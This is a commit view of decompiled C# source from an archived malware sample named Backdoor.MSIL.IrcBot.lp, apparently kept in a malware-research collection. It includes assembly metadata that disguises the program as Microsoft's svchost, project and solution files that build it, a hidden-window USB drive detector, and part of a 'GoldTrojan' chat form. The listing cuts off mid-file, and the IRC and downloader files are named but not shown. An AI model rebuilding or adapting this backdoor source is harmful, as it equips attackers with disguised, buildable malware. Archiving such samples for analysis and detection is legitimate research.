auto-decompiled msil via petikvx

add
This commit is contained in:
vxunderground 2022-08-18 06:28:56 -05:00
parent 26192f771b
commit f2ac1ece55
12767 changed files with 1945075 additions and 0 deletions

View File

@ -0,0 +1,14 @@
using System.Reflection;
using System.Runtime.InteropServices;
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("svchost")]
[assembly: AssemblyTitle("Generic Host Process for Win32 Services")]
[assembly: AssemblyDescription("Generic Host Process for Win32 Services")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCopyright("Copyright © Microsoft")]
[assembly: AssemblyTrademark("")]
[assembly: ComVisible(false)]
[assembly: Guid("0ea6fff1-cc47-4bc0-b703-3ed5264018c0")]
[assembly: AssemblyFileVersion("3.2.4")]
[assembly: AssemblyVersion("3.2.4.0")]

View File

@ -0,0 +1,169 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{5BF5202E-1F94-42EE-A431-AF9196FB250A}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>svchost</AssemblyName>
<ApplicationVersion>3.2.4.0</ApplicationVersion>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Drawing" />
<Reference Include="System.Management" />
<Reference Include="System.Windows.Forms" />
</ItemGroup>
<ItemGroup>
<Compile Include="Starksoft\Net\Proxy\IProxyClient.cs" />
<Compile Include="Starksoft\Net\Proxy\Socks4ProxyClient.cs" />
<Compile Include="Starksoft\Net\Proxy\Socks4aProxyClient.cs" />
<Compile Include="Starksoft\Net\Proxy\CreateConnectionAsyncCompletedEventArgs.cs" />
<Compile Include="Starksoft\Net\Proxy\Socks5ProxyClient.cs" />
<Compile Include="Starksoft\Net\Proxy\HttpProxyClient.cs" />
<Compile Include="Starksoft\Net\Proxy\ProxyException.cs" />
<Compile Include="Starksoft\Net\Proxy\ProxyType.cs" />
<Compile Include="Starksoft\Net\Proxy\ProxyClientFactory.cs" />
<Compile Include="Starksoft\Net\Proxy\Utils.cs" />
<Compile Include="Meebey\SmartIrc4net\DccConnection.cs" />
<Compile Include="Meebey\SmartIrc4net\DccChat.cs" />
<Compile Include="Meebey\SmartIrc4net\ChannelUser.cs" />
<Compile Include="Meebey\SmartIrc4net\IrcConnection.cs" />
<Compile Include="Meebey\SmartIrc4net\IrcCommands.cs" />
<Compile Include="Meebey\SmartIrc4net\IrcClient.cs" />
<Compile Include="Meebey\SmartIrc4net\ChannelInfo.cs" />
<Compile Include="Meebey\SmartIrc4net\Channel.cs" />
<Compile Include="Meebey\SmartIrc4net\IrcEventArgs.cs" />
<Compile Include="Meebey\SmartIrc4net\IrcUser.cs" />
<Compile Include="Meebey\SmartIrc4net\Priority.cs" />
<Compile Include="Meebey\SmartIrc4net\SendType.cs" />
<Compile Include="Meebey\SmartIrc4net\ReceiveType.cs" />
<Compile Include="Meebey\SmartIrc4net\ReplyCode.cs" />
<Compile Include="Meebey\SmartIrc4net\ReadLineEventHandler.cs" />
<Compile Include="Meebey\SmartIrc4net\WriteLineEventHandler.cs" />
<Compile Include="Meebey\SmartIrc4net\AutoConnectErrorEventHandler.cs" />
<Compile Include="Meebey\SmartIrc4net\DccEventArgs.cs" />
<Compile Include="Meebey\SmartIrc4net\DccChatEventArgs.cs" />
<Compile Include="Meebey\SmartIrc4net\DccSendEventArgs.cs" />
<Compile Include="Meebey\SmartIrc4net\DccSendRequestEventArgs.cs" />
<Compile Include="Meebey\SmartIrc4net\IrcConstants.cs" />
<Compile Include="Meebey\SmartIrc4net\DccSpeed.cs" />
<Compile Include="Meebey\SmartIrc4net\IrcColors.cs" />
<Compile Include="Meebey\SmartIrc4net\Rfc2812.cs" />
<Compile Include="Meebey\SmartIrc4net\CtcpEventArgs.cs" />
<Compile Include="Meebey\SmartIrc4net\ActionEventArgs.cs" />
<Compile Include="Meebey\SmartIrc4net\ErrorEventArgs.cs" />
<Compile Include="Meebey\SmartIrc4net\MotdEventArgs.cs" />
<Compile Include="Meebey\SmartIrc4net\PingEventArgs.cs" />
<Compile Include="Meebey\SmartIrc4net\PongEventArgs.cs" />
<Compile Include="Meebey\SmartIrc4net\KickEventArgs.cs" />
<Compile Include="Meebey\SmartIrc4net\JoinEventArgs.cs" />
<Compile Include="Meebey\SmartIrc4net\NamesEventArgs.cs" />
<Compile Include="Meebey\SmartIrc4net\ListEventArgs.cs" />
<Compile Include="Meebey\SmartIrc4net\InviteEventArgs.cs" />
<Compile Include="Meebey\SmartIrc4net\PartEventArgs.cs" />
<Compile Include="Meebey\SmartIrc4net\WhoEventArgs.cs" />
<Compile Include="Meebey\SmartIrc4net\QuitEventArgs.cs" />
<Compile Include="Meebey\SmartIrc4net\AwayEventArgs.cs" />
<Compile Include="Meebey\SmartIrc4net\NickChangeEventArgs.cs" />
<Compile Include="Meebey\SmartIrc4net\TopicEventArgs.cs" />
<Compile Include="Meebey\SmartIrc4net\TopicChangeEventArgs.cs" />
<Compile Include="Meebey\SmartIrc4net\BanEventArgs.cs" />
<Compile Include="Meebey\SmartIrc4net\UnbanEventArgs.cs" />
<Compile Include="Meebey\SmartIrc4net\OpEventArgs.cs" />
<Compile Include="Meebey\SmartIrc4net\DeopEventArgs.cs" />
<Compile Include="Meebey\SmartIrc4net\HalfopEventArgs.cs" />
<Compile Include="Meebey\SmartIrc4net\DehalfopEventArgs.cs" />
<Compile Include="Meebey\SmartIrc4net\VoiceEventArgs.cs" />
<Compile Include="Meebey\SmartIrc4net\DevoiceEventArgs.cs" />
<Compile Include="Meebey\SmartIrc4net\IrcFeatures.cs" />
<Compile Include="Meebey\SmartIrc4net\CtcpDelegate.cs" />
<Compile Include="Meebey\SmartIrc4net\DccConnectionHandler.cs" />
<Compile Include="Meebey\SmartIrc4net\DccChatLineHandler.cs" />
<Compile Include="Meebey\SmartIrc4net\DccSendPacketHandler.cs" />
<Compile Include="Meebey\SmartIrc4net\DccSendRequestHandler.cs" />
<Compile Include="Meebey\SmartIrc4net\NonRfcChannelUser.cs" />
<Compile Include="Meebey\SmartIrc4net\BanInfo.cs" />
<Compile Include="Meebey\SmartIrc4net\DccSend.cs" />
<Compile Include="Meebey\SmartIrc4net\WhoInfo.cs" />
<Compile Include="Meebey\SmartIrc4net\IrcMessageData.cs" />
<Compile Include="Meebey\SmartIrc4net\IrcEventHandler.cs" />
<Compile Include="Meebey\SmartIrc4net\CtcpEventHandler.cs" />
<Compile Include="Meebey\SmartIrc4net\ActionEventHandler.cs" />
<Compile Include="Meebey\SmartIrc4net\ErrorEventHandler.cs" />
<Compile Include="Meebey\SmartIrc4net\PingEventHandler.cs" />
<Compile Include="Meebey\SmartIrc4net\KickEventHandler.cs" />
<Compile Include="Meebey\SmartIrc4net\JoinEventHandler.cs" />
<Compile Include="Meebey\SmartIrc4net\NamesEventHandler.cs" />
<Compile Include="Meebey\SmartIrc4net\ListEventHandler.cs" />
<Compile Include="Meebey\SmartIrc4net\PartEventHandler.cs" />
<Compile Include="Meebey\SmartIrc4net\InviteEventHandler.cs" />
<Compile Include="Meebey\SmartIrc4net\OpEventHandler.cs" />
<Compile Include="Meebey\SmartIrc4net\DeopEventHandler.cs" />
<Compile Include="Meebey\SmartIrc4net\HalfopEventHandler.cs" />
<Compile Include="Meebey\SmartIrc4net\DehalfopEventHandler.cs" />
<Compile Include="Meebey\SmartIrc4net\VoiceEventHandler.cs" />
<Compile Include="Meebey\SmartIrc4net\DevoiceEventHandler.cs" />
<Compile Include="Meebey\SmartIrc4net\BanEventHandler.cs" />
<Compile Include="Meebey\SmartIrc4net\UnbanEventHandler.cs" />
<Compile Include="Meebey\SmartIrc4net\TopicEventHandler.cs" />
<Compile Include="Meebey\SmartIrc4net\TopicChangeEventHandler.cs" />
<Compile Include="Meebey\SmartIrc4net\NickChangeEventHandler.cs" />
<Compile Include="Meebey\SmartIrc4net\QuitEventHandler.cs" />
<Compile Include="Meebey\SmartIrc4net\AwayEventHandler.cs" />
<Compile Include="Meebey\SmartIrc4net\WhoEventHandler.cs" />
<Compile Include="Meebey\SmartIrc4net\MotdEventHandler.cs" />
<Compile Include="Meebey\SmartIrc4net\PongEventHandler.cs" />
<Compile Include="Meebey\SmartIrc4net\SmartIrc4netException.cs" />
<Compile Include="Meebey\SmartIrc4net\ConnectionException.cs" />
<Compile Include="Meebey\SmartIrc4net\CouldNotConnectException.cs" />
<Compile Include="Meebey\SmartIrc4net\NotConnectedException.cs" />
<Compile Include="Meebey\SmartIrc4net\AlreadyConnectedException.cs" />
<Compile Include="Meebey\SmartIrc4net\ProxyType.cs" />
<Compile Include="Meebey\SmartIrc4net\NonRfcChannel.cs" />
<Compile Include="Meebey\SmartIrc4net\ReadLineEventArgs.cs" />
<Compile Include="Meebey\SmartIrc4net\WriteLineEventArgs.cs" />
<Compile Include="Meebey\SmartIrc4net\AutoConnectErrorEventArgs.cs" />
<Compile Include="GoldTrojan\Form1.cs" />
<Compile Include="GoldTrojan\Program.cs" />
<Compile Include="GoldTrojan\Chat.cs" />
<Compile Include="GoldTrojan\FileDownloader.cs" />
<Compile Include="GoldTrojan\DownloadData.cs" />
<Compile Include="GoldTrojan\DownloadEventArgs.cs" />
<Compile Include="GoldTrojan\DownloadProgressHandler.cs" />
<Compile Include="GoldTrojan\Properties\Settings.cs" />
<Compile Include="GoldTrojan\Properties\Resources.cs" />
<Compile Include="Dolinay\DetectorForm.cs" />
<Compile Include="Dolinay\DriveDetectorEventHandler.cs" />
<Compile Include="Dolinay\DriveDetectorEventArgs.cs" />
<Compile Include="Dolinay\DriveDetector.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="Dolinay\DetectorForm.resx" />
<EmbeddedResource Include="GoldTrojan\Chat.resx" />
<EmbeddedResource Include="GoldTrojan\Form1.resx" />
<EmbeddedResource Include="GoldTrojan\Properties\Resources.resx" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>

View File

@ -0,0 +1,20 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "svchost", "Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.csproj", "{5BF5202E-1F94-42EE-A431-AF9196FB250A}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{5BF5202E-1F94-42EE-A431-AF9196FB250A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{5BF5202E-1F94-42EE-A431-AF9196FB250A}.Debug|Any CPU.Build.0 = Debug|Any CPU
{5BF5202E-1F94-42EE-A431-AF9196FB250A}.Release|Any CPU.ActiveCfg = Release|Any CPU
{5BF5202E-1F94-42EE-A431-AF9196FB250A}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,63 @@
// Decompiled with JetBrains decompiler
// Type: Dolinay.DetectorForm
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
using System;
using System.Drawing;
using System.Windows.Forms;
namespace Dolinay
{
internal class DetectorForm : Form
{
private Label label1;
private DriveDetector mDetector;
public DetectorForm(DriveDetector detector)
{
this.mDetector = detector;
this.MinimizeBox = false;
this.MaximizeBox = false;
this.ShowInTaskbar = false;
this.ShowIcon = false;
this.FormBorderStyle = FormBorderStyle.None;
this.Load += new EventHandler(this.Load_Form);
this.Activated += new EventHandler(this.Form_Activated);
}
private void Load_Form(object sender, EventArgs e)
{
this.InitializeComponent();
this.Size = new Size(5, 5);
}
private void Form_Activated(object sender, EventArgs e) => this.Visible = false;
protected override void WndProc(ref Message m)
{
base.WndProc(ref m);
if (this.mDetector == null)
return;
this.mDetector.WndProc(ref m);
}
private void InitializeComponent()
{
this.label1 = new Label();
this.SuspendLayout();
this.label1.AutoSize = true;
this.label1.Location = new Point(13, 30);
this.label1.Name = "label1";
this.label1.Size = new Size(314, 13);
this.label1.TabIndex = 0;
this.label1.Text = "This is invisible form. To see DriveDetector code click View Code";
this.ClientSize = new Size(360, 80);
this.Controls.Add((Control) this.label1);
this.Name = nameof (DetectorForm);
this.ResumeLayout(false);
this.PerformLayout();
}
}
}

View File

@ -0,0 +1,120 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>

View File

@ -0,0 +1,308 @@
// Decompiled with JetBrains decompiler
// Type: Dolinay.DriveDetector
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
using Microsoft.Win32.SafeHandles;
using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace Dolinay
{
internal class DriveDetector : IDisposable
{
private const int DBT_DEVTYP_DEVICEINTERFACE = 5;
private const int DBT_DEVTYP_HANDLE = 6;
private const int BROADCAST_QUERY_DENY = 1112363332;
private const int WM_DEVICECHANGE = 537;
private const int DBT_DEVICEARRIVAL = 32768;
private const int DBT_DEVICEQUERYREMOVE = 32769;
private const int DBT_DEVICEREMOVECOMPLETE = 32772;
private const int DBT_DEVTYP_VOLUME = 2;
private IntPtr mDirHandle = IntPtr.Zero;
private FileStream mFileOnFlash;
private string mFileToOpen;
private IntPtr mDeviceNotifyHandle;
private IntPtr mRecipientHandle;
private string mCurrentDrive;
public event DriveDetectorEventHandler DeviceArrived;
public event DriveDetectorEventHandler DeviceRemoved;
public event DriveDetectorEventHandler QueryRemove;
public DriveDetector()
{
DetectorForm detectorForm = new DetectorForm(this);
detectorForm.Show();
this.Init((Control) detectorForm, (string) null);
}
public DriveDetector(Control control) => this.Init(control, (string) null);
public DriveDetector(Control control, string FileToOpen) => this.Init(control, FileToOpen);
private void Init(Control control, string fileToOpen)
{
this.mFileToOpen = fileToOpen;
this.mFileOnFlash = (FileStream) null;
this.mDeviceNotifyHandle = IntPtr.Zero;
this.mRecipientHandle = control.Handle;
this.mDirHandle = IntPtr.Zero;
this.mCurrentDrive = "";
}
public bool IsQueryHooked => !(this.mDeviceNotifyHandle == IntPtr.Zero);
public string HookedDrive => this.mCurrentDrive;
public FileStream OpenedFile => this.mFileOnFlash;
public bool EnableQueryRemove(string fileOnDrive)
{
switch (fileOnDrive)
{
case "":
case null:
throw new ArgumentException("Drive path must be supplied to register for Query remove.");
default:
if (fileOnDrive.Length == 2 && fileOnDrive[1] == ':')
fileOnDrive += (string) (object) '\\';
if (this.mDeviceNotifyHandle != IntPtr.Zero)
this.RegisterForDeviceChange(false, (SafeFileHandle) null);
this.mFileToOpen = Path.GetFileName(fileOnDrive).Length == 0 || !File.Exists(fileOnDrive) ? (string) null : fileOnDrive;
this.RegisterQuery(Path.GetPathRoot(fileOnDrive));
return !(this.mDeviceNotifyHandle == IntPtr.Zero);
}
}
public void DisableQueryRemove()
{
if (!(this.mDeviceNotifyHandle != IntPtr.Zero))
return;
this.RegisterForDeviceChange(false, (SafeFileHandle) null);
}
public void Dispose() => this.RegisterForDeviceChange(false, (SafeFileHandle) null);
public void WndProc(ref Message m)
{
if (m.Msg != 537)
return;
switch (m.WParam.ToInt32())
{
case 32768:
if (Marshal.ReadInt32(m.LParam, 4) != 2)
break;
char letter1 = DriveDetector.DriveMaskToLetter(((DriveDetector.DEV_BROADCAST_VOLUME) Marshal.PtrToStructure(m.LParam, typeof (DriveDetector.DEV_BROADCAST_VOLUME))).dbcv_unitmask);
DriveDetectorEventHandler deviceArrived = this.DeviceArrived;
if (deviceArrived == null)
break;
DriveDetectorEventArgs e1 = new DriveDetectorEventArgs();
e1.Drive = letter1.ToString() + ":\\";
deviceArrived((object) this, e1);
if (!e1.HookQueryRemove)
break;
if (this.mDeviceNotifyHandle != IntPtr.Zero)
this.RegisterForDeviceChange(false, (SafeFileHandle) null);
this.RegisterQuery(letter1.ToString() + ":\\");
break;
case 32769:
if (Marshal.ReadInt32(m.LParam, 4) != 6)
break;
DriveDetectorEventHandler queryRemove = this.QueryRemove;
if (queryRemove == null)
break;
DriveDetectorEventArgs e2 = new DriveDetectorEventArgs();
e2.Drive = this.mCurrentDrive;
queryRemove((object) this, e2);
if (e2.Cancel)
{
m.Result = (IntPtr) 1112363332;
break;
}
this.RegisterForDeviceChange(false, (SafeFileHandle) null);
break;
case 32772:
if (Marshal.ReadInt32(m.LParam, 4) != 2 || Marshal.ReadInt32(m.LParam, 4) != 2)
break;
char letter2 = DriveDetector.DriveMaskToLetter(((DriveDetector.DEV_BROADCAST_VOLUME) Marshal.PtrToStructure(m.LParam, typeof (DriveDetector.DEV_BROADCAST_VOLUME))).dbcv_unitmask);
DriveDetectorEventHandler deviceRemoved = this.DeviceRemoved;
if (deviceRemoved == null)
break;
deviceRemoved((object) this, new DriveDetectorEventArgs()
{
Drive = letter2.ToString() + ":\\"
});
break;
}
}
private void RegisterQuery(string drive)
{
bool flag = true;
if (this.mFileToOpen != null)
{
if (this.mFileToOpen.Contains(":"))
{
string path2 = this.mFileToOpen.Substring(3);
this.mFileToOpen = Path.Combine(Path.GetPathRoot(drive), path2);
}
else
this.mFileToOpen = Path.Combine(drive, this.mFileToOpen);
}
try
{
this.mFileOnFlash = this.mFileToOpen != null ? new FileStream(this.mFileToOpen, FileMode.Open) : (FileStream) null;
}
catch (Exception ex)
{
flag = false;
}
if (!flag)
return;
if (this.mFileOnFlash == null)
this.RegisterForDeviceChange(drive);
else
this.RegisterForDeviceChange(true, this.mFileOnFlash.SafeFileHandle);
this.mCurrentDrive = drive;
}
private void RegisterForDeviceChange(string dirPath)
{
IntPtr num1 = DriveDetector.Native.OpenDirectory(dirPath);
if (num1 == IntPtr.Zero)
{
this.mDeviceNotifyHandle = IntPtr.Zero;
}
else
{
this.mDirHandle = num1;
DriveDetector.DEV_BROADCAST_HANDLE structure = new DriveDetector.DEV_BROADCAST_HANDLE();
structure.dbch_devicetype = 6;
structure.dbch_reserved = 0;
structure.dbch_nameoffset = 0L;
structure.dbch_handle = num1;
structure.dbch_hdevnotify = (IntPtr) 0;
int cb = Marshal.SizeOf((object) structure);
structure.dbch_size = cb;
IntPtr num2 = Marshal.AllocHGlobal(cb);
Marshal.StructureToPtr((object) structure, num2, true);
this.mDeviceNotifyHandle = DriveDetector.Native.RegisterDeviceNotification(this.mRecipientHandle, num2, 0U);
}
}
private void RegisterForDeviceChange(bool register, SafeFileHandle fileHandle)
{
if (register)
{
DriveDetector.DEV_BROADCAST_HANDLE structure = new DriveDetector.DEV_BROADCAST_HANDLE();
structure.dbch_devicetype = 6;
structure.dbch_reserved = 0;
structure.dbch_nameoffset = 0L;
structure.dbch_handle = fileHandle.DangerousGetHandle();
structure.dbch_hdevnotify = (IntPtr) 0;
int cb = Marshal.SizeOf((object) structure);
structure.dbch_size = cb;
IntPtr num = Marshal.AllocHGlobal(cb);
Marshal.StructureToPtr((object) structure, num, true);
this.mDeviceNotifyHandle = DriveDetector.Native.RegisterDeviceNotification(this.mRecipientHandle, num, 0U);
}
else
{
if (this.mDirHandle != IntPtr.Zero)
DriveDetector.Native.CloseDirectoryHandle(this.mDirHandle);
if (this.mDeviceNotifyHandle != IntPtr.Zero)
{
int num = (int) DriveDetector.Native.UnregisterDeviceNotification(this.mDeviceNotifyHandle);
}
this.mDeviceNotifyHandle = IntPtr.Zero;
this.mDirHandle = IntPtr.Zero;
this.mCurrentDrive = "";
if (this.mFileOnFlash == null)
return;
this.mFileOnFlash.Close();
this.mFileOnFlash = (FileStream) null;
}
}
private static char DriveMaskToLetter(int mask)
{
string str = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
int index = 0;
int num = mask / 2;
while (num != 0)
{
num /= 2;
++index;
}
return index >= str.Length ? '?' : str[index];
}
private class Native
{
private const uint GENERIC_READ = 2147483648;
private const uint OPEN_EXISTING = 3;
private const uint FILE_SHARE_READ = 1;
private const uint FILE_SHARE_WRITE = 2;
private const uint FILE_ATTRIBUTE_NORMAL = 128;
private const uint FILE_FLAG_BACKUP_SEMANTICS = 33554432;
private static readonly IntPtr INVALID_HANDLE_VALUE = new IntPtr(-1);
[DllImport("user32.dll", CharSet = CharSet.Auto)]
public static extern IntPtr RegisterDeviceNotification(
IntPtr hRecipient,
IntPtr NotificationFilter,
uint Flags);
[DllImport("user32.dll", CharSet = CharSet.Auto)]
public static extern uint UnregisterDeviceNotification(IntPtr hHandle);
[DllImport("kernel32", SetLastError = true)]
private static extern IntPtr CreateFile(
string FileName,
uint DesiredAccess,
uint ShareMode,
uint SecurityAttributes,
uint CreationDisposition,
uint FlagsAndAttributes,
int hTemplateFile);
[DllImport("kernel32", SetLastError = true)]
private static extern bool CloseHandle(IntPtr hObject);
public static IntPtr OpenDirectory(string dirPath)
{
IntPtr file = DriveDetector.Native.CreateFile(dirPath, 2147483648U, 3U, 0U, 3U, 33554560U, 0);
return file == DriveDetector.Native.INVALID_HANDLE_VALUE ? IntPtr.Zero : file;
}
public static bool CloseDirectoryHandle(IntPtr handle) => DriveDetector.Native.CloseHandle(handle);
}
public struct DEV_BROADCAST_HANDLE
{
public int dbch_size;
public int dbch_devicetype;
public int dbch_reserved;
public IntPtr dbch_handle;
public IntPtr dbch_hdevnotify;
public Guid dbch_eventguid;
public long dbch_nameoffset;
public byte dbch_data;
public byte dbch_data1;
}
public struct DEV_BROADCAST_VOLUME
{
public int dbcv_size;
public int dbcv_devicetype;
public int dbcv_reserved;
public int dbcv_unitmask;
}
}
}

View File

@ -0,0 +1,24 @@
// Decompiled with JetBrains decompiler
// Type: Dolinay.DriveDetectorEventArgs
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
using System;
namespace Dolinay
{
public class DriveDetectorEventArgs : EventArgs
{
public bool Cancel;
public string Drive;
public bool HookQueryRemove;
public DriveDetectorEventArgs()
{
this.Cancel = false;
this.Drive = "";
this.HookQueryRemove = false;
}
}
}

View File

@ -0,0 +1,10 @@
// Decompiled with JetBrains decompiler
// Type: Dolinay.DriveDetectorEventHandler
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Dolinay
{
public delegate void DriveDetectorEventHandler(object sender, DriveDetectorEventArgs e);
}

View File

@ -0,0 +1,131 @@
// Decompiled with JetBrains decompiler
// Type: GoldTrojan.Chat
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
using System;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;
namespace GoldTrojan
{
public class Chat : Form
{
public string txt;
private string nicks;
private string nicko;
private IContainer components;
private Button button1;
private TextBox txtInput;
private TextBox txtOutput;
public Chat() => this.InitializeComponent();
public void WyswietlWiadomosc(string tekst)
{
TextBox txtOutput = this.txtOutput;
txtOutput.Text = txtOutput.Text + this.nicks + ": " + this.godzina() + Environment.NewLine + tekst + Environment.NewLine;
this.Odswiez();
}
private string godzina()
{
DateTime now = DateTime.Now;
